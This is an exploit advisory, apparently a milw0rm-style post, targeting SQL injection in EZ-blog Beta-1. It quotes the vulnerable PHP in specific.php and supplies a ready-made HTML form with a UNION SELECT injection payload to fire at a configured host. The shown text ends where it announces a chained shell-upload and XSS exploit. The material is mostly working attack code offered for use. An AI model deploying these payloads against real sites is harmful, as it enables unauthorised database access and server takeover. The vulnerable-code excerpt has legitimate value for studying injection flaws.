SQL INJECTION (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-------
INTRO:
-------


An exploit was published by drosophila with Multiple SQL Injection in EZ-blog Beta-1, 
they've (apparently) fixed it but the system is still vulnerable.


Source: http://www.milw0rm.com/exploits/8128


-----------
FILE VULN:
-----------

Path --> [HOME_PATH]/public/specific.php

...

$whichcategory = Trim($_POST['category']);

...
	if ($whichcategory=='All'){
		$query  = "SELECT * FROM content ORDER BY id DESC";	
	}else{
		$query  = "SELECT * FROM content WHERE  topic ='" . $whichcategory . "' ORDER BY id DESC";
	}	
	$result = mysql_query($query);
...


------------------
PROOF OF CONCEPT:
------------------

Copy and save --> PoC.html.
Configure --> HOST, HOME_PATH

<html>
<title>
PoC BY Y3NH4CK3R --PROUD TO BE SPANISH-->
</title>
<h1>
Click "Execute PoC" to launch the proof of concept (SQLi)...
</h1>
<body bgcolor=#000000 text=#ffffff>
<form method="post" action="http:[HOST]/[HOME_PATH]/public/specific.php">
<input type="hidden" name="category" value="-1' union all select version(),version(),version(),version(),version(),version(),version(),version()/*">

<br>
<h2>

</font>
</h2>
</body>
</html>


------------------------
EXPLOIT (SHELL UPLOAD):
------------------------

This aplication hasn't admin authentication using DB, ie, admin panel uses .htaccess file. 
This is a complete exploit: SQL Injection --> Shell Upload, and XSS...all in one ;)

Copy and save --> exploit.html.
Configure --> HOST, HOME_PATH and COMPLETE-PATH.
